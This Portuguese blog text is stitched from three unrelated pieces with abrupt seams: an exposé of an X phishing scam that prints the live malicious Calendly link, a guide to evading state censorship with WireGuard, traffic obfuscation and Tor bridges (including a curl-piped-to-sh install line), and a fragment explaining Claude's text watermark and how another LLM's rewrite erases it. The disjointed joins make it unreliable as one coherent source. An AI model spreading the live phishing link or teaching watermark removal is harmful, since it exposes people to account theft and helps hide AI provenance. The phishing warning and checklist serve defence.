A conta

A bio diz: “Covering AI, startups, markets, and emerging technologies for @TechCrunch | prev @mashable”. Selo de verificado, conta desde agosto de 2014, mais de 45 mil posts, 1.409 seguidores. Pelos números, parece uma conta antiga e ativa, não um perfil criado ontem.

A conversa

Aqui está a troca completa, sem cortar nada:

E aqui está o link, exatamente como veio, pra quem quiser reconhecer se recebeu o mesmo:

Link de phishing confirmado. Não clique. Se já clicou, não autorize nada. https://calendly.com/d/d336-3mq-q2z

Eu já sabia que era golpe

Reconheci o padrão na hora porque o José Valim, criador do Elixir, caiu exatamente nessa isca em março deste ano e documentou tudo publicamente.

Mesmo pretexto, TechCrunch pedindo entrevista sobre tema técnico que a vítima domina. Mesmo mecanismo, link de Calendly que termina numa autorização do X. A conta dele acabou sendo usada pra espalhar spam de cripto antes dele revogar o acesso.

Quando a mensagem chegou pra mim hoje, quase comemorei. Sabia na hora que ia virar bom conteúdo pro blog. Por isso continuei a conversa educadamente, só o suficiente pra printar tudo, e agora estou expondo a conta publicamente. Sempre exponha quem tenta te aplicar golpe. Isso não é sobre humilhar ninguém, é sobre deixar rastro público pra próxima pessoa que receber a mesma mensagem e for procurar no Google.

Mesmo sem saber do Valim, dava pra ver

Contato frio pedindo reunião, do nada, sem apresentação prévia, é golpe em 99% dos casos. Ninguém profissional de verdade opera assim, e muito menos por DM de rede social. Fazer isso é ser vendedor de porta em porta com Wi-Fi.

Nome de veículo grande no pretexto não muda nada pra mim. Eu me considero melhor do que a TechCrunch ou a capenga da Mashable, e nem alguém alegando falar em nome da Casa Branca ia me impressionar. Sem pedir desculpa por isso.

E mesmo se fosse uma pessoa normal por trás: meu tempo não é de graça. Quer consultoria de verdade? Fala com minha empresa, marca reunião comercial no Calendly da empresa, assina contrato, paga o valor, e só depois eu converso. Não existe atalho de “vamos bater um papo rápido” com estranho.

No momento em que cliquei no link, ele redirecionou direto pra tela de autorização do X, óbvio que recusei. Cliquei de propósito só pra tirar o print.

O mecanismo técnico

Um leitor comentou que a barra de endereço do print original mostrava um oauth_token na URL, e perguntou se isso não era inseguro de publicar. Boa pergunta, e editei o print pra apagar aquele trecho mesmo assim. Mas o risco real ali era zero: aquilo é um token de pedido do OAuth 1.0a, não um token de acesso. Ele só vira credencial de verdade depois que a autorização é aprovada e o app troca esse token por um verificador junto com sua própria chave secreta, nenhuma das duas coisas aconteceu, porque eu cliquei em cancelar. Token de pedido não usado também expira sozinho em poucos minutos, por definição do próprio X. Mesmo sem risco nenhum, não custa nada tirar da imagem, e vale como regra geral: nunca publique nada que pareça token, mesmo o que você tem certeza que já morreu.

O primeiro passo é real: calendly.com/d/d336-3mq-q2z roda em cima da infraestrutura de verdade do Calendly, confirmei isso batendo direto no link e conferindo os cookies e cabeçalhos de resposta, tudo genuíno. É um formulário de roteamento padrão do produto, nome e tipo de reunião.

O golpe mora no que acontece depois de enviar o formulário. O Calendly tem um recurso legítimo de “redirecionar após o agendamento”, e é exatamente esse recurso que foi configurado pra mandar a vítima pra uma tela de autorização OAuth do X. Essa tela também é real, ela roda em api.x.com, o domínio de verdade do X. O golpe não falsifica a tela de login. Ele abusa de um recurso genuíno do Calendly pra encadear numa tela genuína do X, autorizando um aplicativo de terceiro malicioso.

E aqui vai a parte que eu quero deixar bem marcada: essa não é falha exótica escondida em algum canto obscuro. É um pseudo-recurso ligado por padrão, redirecionamento livre pra qualquer URL depois do agendamento, sem checagem nenhuma de destino. Enquanto o Calendly não desativar ou pelo menos restringir esse redirecionamento, ele continua sendo vetor de phishing pronto pra uso, e a responsabilidade de fechar essa porta é do Calendly, não do usuário que só queria marcar uma reunião.

Esse aplicativo se chama “Events Portal”, alega ser www.eventsportal.com, e o X mostra um aviso próprio: “Este app não é afiliado ao X e está solicitando permissões sensíveis”, com o callback apontando pra plugins.cal-apis.com, não pra nenhum domínio real do Calendly. As permissões pedidas são de sequestro de conta completo:

• ver posts protegidos, listas e coleções;
• ver configuração de conta e perfil;
• ver quem você segue, silencia e bloqueia;
• seguir e deixar de seguir por você;
• atualizar seu perfil e configurações;
• criar e excluir posts, curtir, repostar e responder por você;
• criar, gerenciar e excluir listas;
• silenciar, bloquear e denunciar contas por você.

Com isso autorizado, a conta vira arma pra atacar a próxima pessoa, exatamente o que aconteceu com o José Valim.

O que eu confirmei por conta própria

Calendly de verdade não pede login de rede social pra marcar reunião, ponto final. O que a tela mostrou é o recurso legítimo de “redirecionar após o agendamento” sequestrado pra virar vetor de phishing contra conta do X. Não parei na primeira impressão, fui confirmar cada peça sozinho:

• o domínio cal-apis.com foi registrado há só seis dias, em 16 de setembro de 2026, por um revendedor chinês ligado à Alibaba Cloud, escondido atrás de servidor de nome do Cloudflare. Domínio descartável, criado especificamente pra isso, não infraestrutura real de nenhuma empresa;
• pesquisadores de segurança (Push Security e Validin) já documentaram campanha de phishing com tema Calendly usada pra roubar conta de Google Workspace e de Facebook Business, mesma família de golpe, alvo diferente do meu caso;
• especificamente contra conta do X, o que existe documentado é relato em primeira mão: o próprio José Valim, e um relato público de fevereiro de 2025 contando que um golpe quase idêntico, Calendly falso levando a login do X, quase pegou duas outras pessoas conhecidas da comunidade de tecnologia;
• não achei nenhum registro de “Mia Esswein” como jornalista de verdade da TechCrunch ou da Mashable em nenhuma busca. Não é prova definitiva de nada sozinha, mas some ao resto da pilha de evidência.

O checklist que eu uso

• contato frio pedindo reunião, sem apresentação, é golpe até prova em contrário;
• ferramenta de agendamento de verdade nunca pede login de rede social pra marcar horário;
• app de terceiro pedindo “permissão sensível” e avisando que “não é afiliado” à plataforma é bandeira vermelha, não detalhe técnico ignorável;
• se você já autorizou algo assim, revogue agora: no X, Configurações → Segurança e acesso à conta → Apps e sessões;
• denuncie a conta que mandou o link, e denuncie o evento do Calendly se ainda tiver a conversa.

Pra quem tentou

Vocês escolheram a pessoa errada pra tentar. Eu não converso de graça com estranho por princípio, muito menos autorizo aplicativo desconhecido em conta que eu uso pra trabalhar. Reconheço o padrão de longe porque leio sobre isso, e ainda por cima ganhei um artigo novo pro blog de brinde. Da próxima vez, invistam menos em domínio novo registrado às pressas e mais em disfarce que sobreviva a alguém que presta atenção.

Este artigo é a resposta: um guia prático, do mais fácil ao mais complicado, pra você manter seus canais de comunicação de pé conforme o cerco for fechando. Porque o cerco está fechando, e convém entender o ritmo dele antes de escolher suas ferramentas.

O histórico: nada disso é novo

Quem se surpreendeu com o caso do Discord não estava prestando atenção. O Judiciário brasileiro bloqueia serviços de comunicação há mais de uma década, sempre por cima de milhões de usuários inocentes pra atingir meia dúzia de investigados:

• WhatsApp, 2015 e 2016: bloqueado três vezes por juízes de primeira instância, sempre porque a empresa não entregava conversas que, por desenho, ela não consegue ler.
• Telegram, 2022 e 2023: suspenso por dois dias por ordem de Moraes em março de 2022, e de novo por um juiz federal em 2023. O Migalhas tem a linha do tempo completa.
• X/Twitter, 2024: o marco. Suspensão nacional de 30 de agosto a 8 de outubro, 40 dias, por ordem monocrática. E aqui vem o detalhe que importa pra este guia: a decisão incluía multa de R$ 50 mil por dia pra qualquer pessoa física que acessasse o X por VPN, ordem pras lojas de app removerem aplicativos de VPN (recuou horas depois), e PF e Anatel produzindo relatórios sobre quem burlou o bloqueio pra subsidiar as multas.

Repare no que aconteceu ali: pela primeira vez, usar uma ferramenta neutra de privacidade virou, por si só, conduta punível no Brasil. Ninguém foi multado no fim das contas, mas a infraestrutura pra multar foi montada, testada e documentada. E em 2026 o Congresso votou e o presidente sancionou a majorante de pena pra crimes cometidos com VPN. O precedente do X deixou de ser exceção e virou repertório.

Pra guardar: no caso do X, o Estado brasileiro já tratou usuário de VPN como infrator, já tentou tirar VPN da loja de apps e já pediu relatório de quem burlou. Tudo documentado, em decisão judicial e relatório público.

O destino final: o modelo chinês

Não me resta dúvida de que gente muito bem posicionada no governo olha pra Grande Muralha da China com inveja, não com horror. E vale entender o que ela é, porque ela define o limite do jogo.

A Muralha vai muito além de bloquear sites. É inspeção profunda de pacotes (DPI) em escala nacional, rodando na espinha dorsal da internet do país: todo tráfego é classificado em tempo real, protocolos de VPN conhecidos são identificados pelo formato do aperto de mão e derrubados, o Tor é bloqueado por padrão, e só VPNs homologadas pelo Estado (ou seja, com porta dos fundos) operam legalmente. Cidadão comum pego usando VPN não autorizada toma multa. E mesmo quando o tráfego não pode ser lido, os metadados entregam o jogo: quem fala com quem, quando, por quanto tempo.

Por isso a resposta honesta pra pergunta “dá pra burlar uma Muralha dessas sem ser notado?” é: não, não pra um cidadão comum. Contra um firewall estatal desse nível, nenhuma ferramenta doméstica te torna invisível. No máximo te torna caro demais pra valer a pena perseguir em massa. Quem te vender invisibilidade total está mentindo.

A boa notícia é que o Brasil não está nem perto desse ponto. Censura raramente chega de uma vez: vem em degraus, e cada degrau tem uma defesa correspondente. O resto deste guia é essa escada, degrau por degrau. A lógica de tudo que vem a seguir é uma só: censura é uma questão de custo. Nosso trabalho é deixar o bloqueio caro, tecnicamente e politicamente, até que massificar ele seja impraticável.

Pra guardar: contra um firewall estatal completo, nenhuma ferramenta te torna invisível, só caro demais pra perseguir em massa. O jogo é subir a sua escada antes que o censor suba a dele.

Fase 1: VPN comercial, o mínimo que todo mundo deveria ter

Comece pelo óbvio. Uma VPN (rede privada virtual) cria um túnel criptografado entre o seu dispositivo e um servidor do provedor. Seu provedor de internet passa a ver só um fluxo cifrado indo pra um endereço só; os sites que você acessa veem o IP da VPN, não o seu. Eu explico a fundo, com a teoria de redes por baixo, no Akitando 126.

O que uma VPN faz: esconde seu tráfego do provedor de internet, troca seu IP de saída, te tira de bloqueios geográficos e de bloqueios judiciais por DNS/IP. O que ela não faz:

• Não te torna anônimo. O provedor da VPN vê todo o seu tráfego no lugar do seu ISP. Você não eliminou o vigia, só trocou de vigia.
• Não esconde sua identidade se você pagou com cartão. Assinatura com cartão de crédito amarra a conta de VPN ao seu CPF. Se a autoridade chegar com ordem judicial no provedor, seu nome está lá.
• Não protege o conteúdo depois do túnel. Da saída da VPN até o site final vale a criptografia normal da web (HTTPS). A VPN é um trecho do caminho, não o caminho inteiro.

Dito isso, pras fases iniciais do cerco ela resolve. Minhas recomendações, em ordem:

• ProtonVPN: Suíça, fora da jurisdição fácil, código aberto e auditado, política de não guardar registros testada em tribunal, tem plano gratuito decente e aceita pagamento até em dinheiro pelo correio.
• Mullvad: Suécia, a mais paranoica do mercado: não pede nem e-mail, sua conta é um número aleatório. Preço fixo de €5/mês, aceita dinheiro vivo num envelope e criptomoeda. É o mais próximo de “VPN sem identidade” que existe em produto comercial.
• NordVPN e similares funcionam tecnicamente, mas o dinheiro delas vai mais pra marketing do que pra postura de privacidade. Entre as grandes, fico com as duas acima.

O limite dessa fase é conhecido: os IPs de saída das VPNs famosas são públicos e catalogados. Uma ordem da ANPD ou da Anatel pros provedores nacionais bloquearem esses ranges é tecnicamente trivial, e o caso do X mostrou que remover o app da loja também está no cardápio. Quando (não se) isso acontecer, a VPN comercial morre em um dia. Por isso existe a Fase 2.

Pra guardar: VPN comercial é o cinto de segurança: use sempre, mas saiba que ela depende de três coisas fora do seu controle. O app continuar na loja, os IPs continuarem desbloqueados e o provedor continuar honesto.

Fase 2: VPN auto-hospedada, seu próprio túnel

A jogada aqui muda de figura: em vez de assinar um serviço com milhões de usuários e IPs catalogados, você aluga um servidorzinho barato fora do Brasil e monta a sua VPN pessoal. Não existe lista pública do seu IP pra censura baixar. Você é um usuário de um IP desconhecido, indistinguível de qualquer outro tráfego até ser analisado de perto.

Escolha do provedor (e por que não AWS, Azure ou Google Cloud). As nuvens grandes têm faixas de IP (ASNs) enormes, públicas e mapeadas. Bloquear elas inteiras é uma linha numa tabela de roteamento; o freio é só o dano colateral (muita empresa brasileira legítima está lá), e outros países já pagaram esse preço em situações de crise. Provedores menores diluem esse alvo. Opções que eu consideraria, do médio pro pequeno:

Uma máquina de US$ 3 a 5 por mês, com 1 GB de RAM, sobra pra uma VPN pessoal. Ressalva importante: pagar VPS com cartão deixa rastro igual à VPN comercial: seu nome está no cadastro do provedor, e o provedor pode ser compelido judicialmente. Alguns aceitam criptomoeda, o que reduz (não elimina) o rastro. Pra maioria das pessoas, nesta fase, o risco de cadastro é aceitável: você não está se escondendo de uma investigação, está saindo da mira de um bloqueio em massa.

Passo a passo: WireGuard com wg-easy

Vou usar o wg-easy, que empacota o WireGuard (o protocolo de VPN moderno, rápido e auditável) num container Docker com painel web e QR code pra configurar o celular em segundos.

1. Alugue o VPS. Ubuntu 24.04, a menor máquina disponível, região fora do Brasil (Amsterdã, Frankfurt e Helsinque são escolhas clássicas por jurisdição e latência aceitável).

2. Acesse e atualize:

ssh root@SEU_IP
apt update && apt upgrade -y

3. Instale o Docker:

curl -fsSL https://get.docker.com | sh

4. Gere o hash da senha do painel (o wg-easy não aceita senha em texto puro; anote a senha que você escolher):

docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw 'SuaSenhaForteAqui'
# a saída é algo como: PASSWORD_HASH=$2b$12$abc...
# no comando abaixo, duplique cada cifrão: $ vira $$

5. Suba o container:

docker run -d \
  --name=wg-easy \
  -e WG_HOST=SEU_IP \
  -e PASSWORD_HASH='$$2b$$12$$abc...' \
  -v ~/.wg-easy:/etc/wireguard \
  -p 51820:51820/udp \
  -p 51821:51821/tcp \
  --cap-add=NET_ADMIN \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --sysctl="net.ipv4.ip_forward=1" \
  --restart unless-stopped \
  ghcr.io/wg-easy/wg-easy

6. Libere o firewall. A porta 51820/UDP é o túnel em si. A 51821/TCP é o painel: não deixe o painel exposto pra internet. O jeito certo é abri-lo só via túnel SSH (ssh -L 51821:localhost:51821 root@SEU_IP e acessar localhost:51821 no navegador), ou liberar 51821 só pra criar seus clientes e fechar em seguida.

7. Crie os clientes. No painel, um clique gera um cliente com QR code. Aponte a câmera do app oficial do WireGuard (Android/iOS) e está pronto. No notebook, baixe o arquivo de configuração e importe no cliente WireGuard.

Pronto: todo o tráfego do seu dispositivo sai pelo seu servidor europeu. Seu provedor brasileiro vê apenas um fluxo cifrado pra um IP qualquer da Alemanha.

E na sua máquina, como usa?

O servidor é metade da história. No seu dispositivo, o ritual é esse:

No celular (Android/iOS): instale o app oficial do WireGuard pela loja (ou pelo F-Droid, no Android). Toque no "+", escolha “Escanear QR code” e aponte pro código que o painel do wg-easy mostrou. Aparece um “túnel” novo na lista: um toque no interruptor e você está dentro. No iOS, ative o “On-Demand” nas configurações do túnel pra ele religar sozinho quando trocar de rede (Wi-Fi pro 4G, por exemplo).

No notebook (Windows/macOS): baixe o cliente oficial do WireGuard pro seu sistema, clique em “Importar túnel de arquivo” e selecione o .conf que você baixou do painel. Um clique em “Ativar” e pronto. Detalhe importante: o cliente oficial tem a opção “Bloquear tráfego fora do túnel” (o kill switch): ligue ela. Se o túnel cair, sua internet para em vez de vazar pelo IP real.

No Linux: copie o .conf pra /etc/wireguard/wg0.conf e suba com sudo wg-quick up wg0 (e sudo systemctl enable wg-quick@wg0 pra subir no boot). Ou importe o arquivo direto no NetworkManager pela interface gráfica, se preferir clicar em vez de digitar.

Um .conf de cliente completo, pra referência, é assim:

[Interface]
PrivateKey = <chave privada DESTE dispositivo>
Address = 10.10.0.2/32
DNS = 1.1.1.1

[Peer]
PublicKey = <chave pública do servidor>
Endpoint = IP_DO_SERVIDOR:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 25

Dois detalhes que valem ouro aqui. O PersistentKeepalive = 25 mantém o túnel vivo quando você está atrás de NAT (rede doméstica, 4G), evitando que a conexão morra em silêncio. E o AllowedIPs = 0.0.0.0/0 é o que faz todo o tráfego entrar no túnel; sem ele, só o tráfego pros IPs da própria VPN sai criptografado. (A linha DNS = funciona bem no Windows, macOS e celular; no Linux com systemd-resolved ela pode atrapalhar, como explico nos erros comuns mais abaixo.)

Conferindo se funcionou: com o túnel ativado, rode curl ifconfig.me no terminal (ou abra ipleak.net no navegador). Tem que aparecer o IP da sua VPS, não o da sua casa. Se a sua rede tiver IPv6, confira separadamente com curl -4 ifconfig.me e curl -6 ifconfig.me: os dois precisam mostrar o servidor. E visite dnsleaktest.com: o DNS também tem que sair pelo túnel. Se aparecer o servidor de DNS do seu provedor de internet, tem vazamento pra corrigir.

Manutenção mínima: ative unattended-upgrades pro sistema se atualizar sozinho, use chave SSH em vez de senha, e não instale mais nada nessa máquina. Superfície pequena, risco pequeno.

O jeito 2026 de fazer isso: deixe a IA configurar

Se você travou em algum passo, lembre que estamos em 2026: você não precisa mais dominar cada comando desse guia. Eu mesmo fui por esse caminho. Aluguei a VPS, entreguei o acesso SSH pro agente de IA e pedi a configuração completa; do outro lado, na minha máquina, ele importou o .conf, subiu o wg-quick, ativou no boot e conferiu vazamento no final. Hoje meu servidor é um playbook Ansible reproduzível (derrubou a VPS, sobe outra e roda um comando) e a config do meu notebook segue o mesmo padrão. Tudo em repositórios privados, e privados de propósito: configuração de VPN não é o tipo de coisa que eu quero que estranhos fiquem espiando.

O meu, rodando no meu Gitea: privado, versionado, e o servidor inteiro sobe de novo com um comando.

E se for pedir pra IA configurar, pula o “me instala uma VPN” genérico e entrega os requisitos de verdade. Algo assim:

Transforme esta VPS Ubuntu 24.04 limpa em um servidor WireGuard robusto,
de preferência via playbook Ansible idempotente (quero poder destruir a
VPS e recriar tudo rodando um comando). Requisitos:

- WireGuard gerenciado por wg-quick@wg0, chave do servidor gerada no
  próprio servidor (permissão 0600), sem painel web exposto
- Túnel dual-stack: IPv4 e IPv6 (subnet ULA fd00::/64 com NAT66), pra
  nenhum tráfego vazar por fora em redes com IPv6 nativo
- ufw negando tudo, exceto SSH e a porta UDP do WireGuard
- sshd somente com chave (sem senha), fail2ban no sshd,
  unattended-upgrades sem reboot automático
- Peers declarados como dados num arquivo de configuração: adicionar
  cliente = adicionar uma entrada e rodar o playbook de novo
- Gere os .conf dos clientes com PersistentKeepalive=25, AllowedIPs em
  full-tunnel e QR code via qrencode
- Ao final, imprima os comandos de verificação (curl -4/-6 ifconfig.me,
  wg show)

No fim, me entregue um README curto de operação: como adicionar cliente,
como atualizar, quando reiniciar.

A diferença entre um servidor “funcionando” e um servidor sólido está inteirinha nesses requisitos: dual-stack, firewall fechado, sshd sem senha, peers como dados, reprodutibilidade. A barreira técnica desse artigo inteiro, na prática, virou uma conversa.

Erros comuns (e como evitar)

Vejo sempre os mesmos tropeços quando alguém monta a primeira VPN própria. Todos evitáveis:

• Expor o painel do wg-easy pra internet. O erro clássico número um. O painel é a chave do cofre: aberto na 51821, qualquer scan de botnet acha em horas. Túnel SSH sempre, porta aberta nunca.
• Senha fraca ou reciclada no painel e no SSH. A VPN inteira protegida por 123mudar é pior que não ter VPN. E desligue o login SSH por senha de vez (PasswordAuthentication no no sshd_config) depois de configurar sua chave.
• Achar que está anônimo porque o IP é “seu”. A VPS está no seu nome, paga com o seu cartão. Ela te protege de bloqueio em massa, não de investigação com o seu nome nela. Nível de paranoia errado gera falsa sensação de segurança, que é pior que nenhuma.
• VPS no Brasil ou de empresa brasileira. Já vi gente montar “VPN de privacidade” em provedor nacional. Se a ordem judicial chega no mesmo país, você não saiu do alcance, só mudou de prateleira. Servidor fora, jurisdição fora.
• Distribuir acesso pra meio mundo. Cada pessoa extra é um dispositivo a mais, um padrão de uso a mais, uma boca a mais. Família próxima, ok; grupo de 40 contatos, não. Quanto mais gente no mesmo IP, mais rápido ele entra em alguma lista.
• Usar a mesma máquina pra outras coisas. Blog pessoal, bot de Telegram, seedbox: tudo isso aumenta a superfície de ataque e amarra identidades que você queria separadas. VPS da VPN é só da VPN.
• Confiar sem testar vazamento. Depois de configurar, teste: ipleak.net ou dnsleaktest.com com a VPN ligada. Se aparecer seu IP real ou o DNS do seu provedor, algo está errado, e você só descobre assim.
• Esquecer o IPv6. Esse pegou até eu: túnel só IPv4 numa rede com IPv6 nativo, e todo o tráfego v6 passa por fora da VPN, às claras, sem você perceber. Ou o túnel é dual-stack, ou metade do seu tráfego vaza. Teste com curl -6 ifconfig.me.
• A linha DNS = quebrando o cliente Linux. Em sistemas com systemd-resolved (Ubuntu, Fedora e afins), o wg-quick chama o openresolv pra escrever o DNS, o openresolv se recusa a mexer no /etc/resolv.conf que pertence ao systemd-resolved (erro de “signature mismatch”) e a interface inteira falha ao subir. Se o DNS do seu sistema já funciona bem, simplesmente remova a linha: as consultas vão pelo túnel de qualquer jeito.
• Perder a impressora, o NAS e a rede local. Com AllowedIPs = 0.0.0.0/0, até o tráfego pra dentro da sua própria casa tenta ir pelo túnel. A correção é uma regra de policy routing avaliada antes das regras do próprio WireGuard: PostUp = ip rule add to 192.168.0.0/16 lookup main priority 1000 (e o PostDown correspondente pra desfazer ao desligar).
• Encadear wg-quick down && up. O down retorna erro quando a interface já está desligada, e com && o up nunca executa. Rode o up sozinho.
• Instalar e abandonar. Servidor sem atualização por um ano é servidor com vulnerabilidade conhecida. E teste a conexão de tempos em tempos: o que funciona hoje pode estar fingerprintado amanhã.
• Não ter backup da configuração. O diretório ~/.wg-easy guarda tudo (chaves, clientes). Guarde uma cópia criptografada local. Se a VPS morrer ou for desligada pelo provedor, você sobe outra em dez minutos em vez de recomeçar do zero.

Pra guardar: uma VPS de US$ 5 fora do Brasil com WireGuard te tira de qualquer bloqueio em massa por IP catalogado. O preço é o cadastro no provedor: aceitável contra bloqueio, insuficiente contra investigação nominada.

O inimigo invisível: DPI

Até aqui, assumi que o censor bloqueia endereços. O próximo nível dele é bloquear formatos, e é aí que mora a inspeção profunda de pacotes (DPI).

Mesmo criptografado, um túnel de VPN tem assinatura. O aperto de mão inicial do WireGuard e do OpenVPN tem tamanhos de pacote, sequências e tempos característicos. O conteúdo é ilegível, mas o formato grita “eu sou uma VPN”. A China faz exatamente isso em escala nacional: não precisa ler seu tráfego, basta reconhecer o protocolo e derrubar a conexão.

Pra guardar: o censor não precisa ler o seu tráfego pra te bloquear. Basta reconhecer o formato do túnel. É por isso que a ofuscação existe.

A resposta técnica é ofuscação: fazer o túnel parecer outra coisa.

• AmneziaWG: um fork do WireGuard que injeta pacotes de lixo e embaralha os cabeçalhos até a assinatura sumir. Mesma base auditada do WireGuard, app gratuito pra todas as plataformas, e aponta pro mesmo tipo de VPS da Fase 2. Se você montou wg-easy, migrar pra Amnezia é o passo natural quando o DPI chegar.
• udp2raw: enfia o tráfego UDP do WireGuard dentro de pacotes TCP falsos, que parecem uma conexão comum.
• Shadowsocks: nasceu na China exatamente pra isso, um proxy criptografado desenhado pra não ter assinatura reconhecível.

Repare que ainda estamos falando de ferramentas gratuitas e de uma VPS de US$ 5. O custo sobe pro censor muito mais rápido do que pra você.

Fase 3: quando nem a sua VPS basta

Se o cenário degradar ao ponto de DPI nacional com bloqueio de protocolos, o jogo vira camuflagem pesada e redundância. As opções reais, em ordem de esforço:

Protocolos que se disfarçam de HTTPS comum. O estado da arte hoje é o VLESS com Reality (do projeto Xray-core): seu tráfego se apresenta como uma conexão TLS 1.3 legítima pra um site real e inocente, com certificado, aperto de mão e padrão de pacotes indistinguíveis de um acesso normal. Pra bloquear você, o censor teria que bloquear o site inocente junto, e o dano colateral é a defesa. Trojan-Go segue filosofia parecida. O Outline, da Jigsaw (Google), empacota Shadowsocks com um gerenciador amigável se você quiser distribuir acessos pra família e amigos.

Tor com pontes (bridges). O Tor puro é bloqueado por padrão nos países censurados, mas as pontes obfs4 e o Snowflake foram feitos sob medida pra esse cenário: Snowflake mascara sua entrada na rede Tor como uma videochamada comum de WebRTC. É lento, esquece streaming, mas é a rede mais difícil de extinguir que existe, mantida justamente pra jornalista e ativista em país hostil.

Redundância e rotação. Duas ou três VPS baratas em provedores diferentes, com failover automático. Se uma cair numa lista negra, você troca em minutos: instância nova, IP novo. Seu custo: mais US$ 5. O custo do censor: descobrir e bloquear de novo, toda vez.

Acessos alternativos. Starlink e outros links via satélite saem completamente da infraestrutura terrestre nacional. Enquanto não forem também regulados, são o último recurso físico. E pros casos extremos, a sneakernet de sempre: pendrive, disco externo, cópia física.

Higiene do lado do cliente, que vale em todas as fases:

• Kill switch ligado: se o túnel cai, o dispositivo corta a internet em vez de vazar pelo IP real.
• Proteção contra vazamento de DNS: suas consultas de DNS têm que ir pelo túnel, senão seu provedor continua vendo cada site que você visita.
• WebRTC desligado no navegador (ou use extensão): ele vaza seu IP real mesmo com VPN ativa.
• VPN ligada quando necessário, não sempre: padrão de uso 24/7 vira ele mesmo uma assinatura comportamental.

E as notas honestas de sempre: rodar seu próprio servidor pra uso pessoal é legal; usá-lo pra cometer crime, não. E a partir de 2026, com a nova majorante, “usando VPN” pesa na pena de qualquer crime que você cometeria de qualquer forma. Mantenha a superfície pequena, teste sua conectividade de dentro do Brasil com regularidade (o que funciona hoje pode ser fingerprint amanhã), tenha plano B (uma segunda VPS, um perfil de Tor com pontes) e mantenha cópias offline de tudo que for crítico.

Avaliação realista: nenhuma solução é permanente contra um censor determinado e bem financiado. O objetivo aqui é outro: encarecer o bloqueio em massa até ele virar mau negócio, técnica e politicamente. Um país que precisa derrubar metade da internet legítima pra calar meia dúzia de vozes tem um problema de relações públicas, não de tecnologia. É nesse custo que a gente aposta.

Pra guardar: a escada é VPN comercial, depois VPN própria, depois protocolo ofuscado, depois Tor com pontes, depois satélite. Cada degrau sobe pouco o seu custo e muito o do censor. Comece a subir antes de precisar.

Conclusão

O padrão brasileiro é o que eu chamei de censura por acumulado: nenhum degrau isolado parece o fim do mundo, e cada um vem com sua plaquinha de boa intenção. Mas a infraestrutura de bloqueio, uma vez montada, não tem dono moral: serve pro governo de hoje e pro de amanhã, contra o alvo de hoje e contra você.

A infraestrutura de comunicação livre funciona igualzinho: também se constrói por acumulado, também tijolo por tijolo. Uma VPN comercial configurada hoje. Uma VPS sua amanhã. Um protocolo ofuscado na gaveta pra quando precisar. Nada disso é paranoia. Funciona como backup: você não espera o disco falhar pra começar.

E se você quer acompanhar essa fronteira de perto, uma recomendação pessoal: siga o Ayub. É hoje a melhor fonte em português sobre infraestrutura de internet e censura estatal no Brasil. Foi ele quem soou o alarme sobre a criminalização de VPNs no PL 3066/2025 meses antes de virar lei. E nos últimos dias ele está cobrindo duas coisas que a grande imprensa mal tocou: a entrega de mais de R$ 100 bilhões em redes públicas, dutos e imóveis da União pras operadoras e pro BTG Pactual, e o aparato técnico da nova regulamentação do Marco Civil, que segundo ele deu à Anatel acesso remoto aos roteadores de borda dos provedores. Leitura obrigatória pra entender por onde vem o próximo degrau da escada.

A melhor hora de montar o seu túnel era antes de precisar dele. A segunda melhor é agora.

Desligar, sem opção. A reação veio rápida: uma onda de cancelamento de assinatura, com print do cancelamento circulando no X.

Antes de cancelar por reflexo, vale saber o que a marca é de verdade. Ela funciona de um jeito bem distinto do que a maioria imagina, existe por um motivo concreto, e desaparece com uma facilidade quase cômica.

Pra quem tem pressa, o essencial:

• Um viés estatístico nas palavras que o Claude escolhe. Invisível na leitura, detectável apenas por quem tem a chave da Anthropic. Caractere escondido e fonte estranha ficam de fora.
• A origem é a lei europeia, o AI Act. A Anthropic assinou o código de transparência europeu e resolveu carimbar no mundo inteiro; o porquê vem adiante.
• Uma passada por outro LLM apaga o carimbo. O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, até um fraquinho local, as escolhas viram outras e o padrão se dissolve. A própria Anthropic reconhece.

Cada ponto em detalhe a seguir.

O que é esse watermark, de verdade

Pode tirar da cabeça caractere Unicode invisível, espaço escondido no meio da linha, fonte alterada. O watermark da Anthropic é estatístico: ele atua na hora em que o Claude decide qual palavra usar, justamente nos pontos em que várias palavras serviriam igualmente bem.

Todo modelo de linguagem monta texto palavra por palavra, tirando a próxima de uma lista de candidatos prováveis. Quando duas ou três servem igual, um número aleatório decide. O watermark muda a origem desse acaso: o número passa a derivar de uma chave secreta combinada com as palavras anteriores. O método é herdado do SynthID-Text, do Google DeepMind.

Um exemplo concreto. Falando do tempo, “o céu estava nublado” e “o céu estava cinzento” transmitem a mesma informação. Nesses encontros de sinônimos, a chave inclina o Claude pra um lado com mais frequência do que o puro azar inclinaria. Cada escolha isolada passa despercebida, mas um texto longo repete esse ponto de decisão centenas de vezes, e o conjunto acaba formando uma assinatura estatística.

O comunicado da Anthropic é direto: o texto não ganha nada, e nenhum caractere fica oculto. O custo segue o mesmo porque nenhum token extra é gerado, e a leitura fica idêntica. Quem segura a chave roda um detector, compara a sequência de palavras com as escolhas típicas do Claude e recebe de volta uma probabilidade de o texto ter saído dele.

E o que a marca prova se resume a isso: o Claude esteve envolvido em algum momento. Ela não distingue um texto escrito do zero pelo modelo de um texto que ele só editou com peso. Sobre você, nada fica registrado: sem usuário, sem empresa, sem conversa identificada.

O carimbo vale pro texto do Claude.ai, da API, do Claude Code e dos demais produtos. Em código ele aparece menos, já que código raramente permite trocar um termo por outro equivalente. Arquivos e imagens seguem caminho distinto, um metadado assinado chamado C2PA, em vez deste watermark de texto. E a limitação importa: em trecho curto ou altamente factual, onde quase não existe escolha de palavra, o detector enfraquece.

Por que tanta gente cancelou

O estopim somou três ingredientes: caráter obrigatório, alcance global e ausência de opt-out. A marca não se desliga e vale fora da Europa também. Uma leva de assinantes do Claude Max cancelou citando controle e autoria do próprio material.

O receio é concreto, no campo profissional e no acadêmico. Rascunhar com o Claude e assinar o resultado como seu vira risco se, adiante, um detector apontar “passou por IA”. A Anthropic respondeu com um post garantindo que a marca preserva leitura, sentido e qualidade, apenas sinalizando processamento. Nem todo mundo se convenceu.

A lei europeia por trás do carimbo

